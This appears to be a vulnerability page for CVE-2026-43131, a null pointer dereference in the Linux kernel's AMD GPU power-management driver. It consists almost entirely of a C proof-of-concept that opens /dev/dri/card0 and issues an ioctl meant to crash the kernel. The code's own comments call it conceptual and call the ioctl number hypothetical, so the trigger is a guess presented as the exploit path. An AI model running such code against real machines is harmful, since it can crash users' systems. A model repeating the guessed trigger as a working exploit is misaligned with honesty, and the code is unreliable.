CVE-2026-43131: Linux内核drm/amd/pm空指针解引用漏洞

/* * PoC for CVE-2026-43131 * Conceptual trigger for Null Pointer Dereference in drm/amd/pm. * This code attempts to interact with the amdgpu driver to trigger the RAS init path. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #define DEVICE_PATH "/dev/dri/card0" // Hypothetical IOCTL or command to trigger RAS initialization #define AMDGPU_RAS_INIT_TRIGGER 0x40046401 int main(int argc, char **argv) { int fd; printf("[+] Attempting to open %s\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Triggering RAS initialization logic...\n"); // Issue IOCTL that traverses the vulnerable code path // If SMU is disabled, this leads to a NULL pointer dereference in the kernel if (ioctl(fd, AMDGPU_RAS_INIT_TRIGGER, NULL) < 0) { perror("[-] IOCTL failed"); } else { printf("[+] IOCTL executed successfully (System might be unstable)"); } close(fd); return 0; }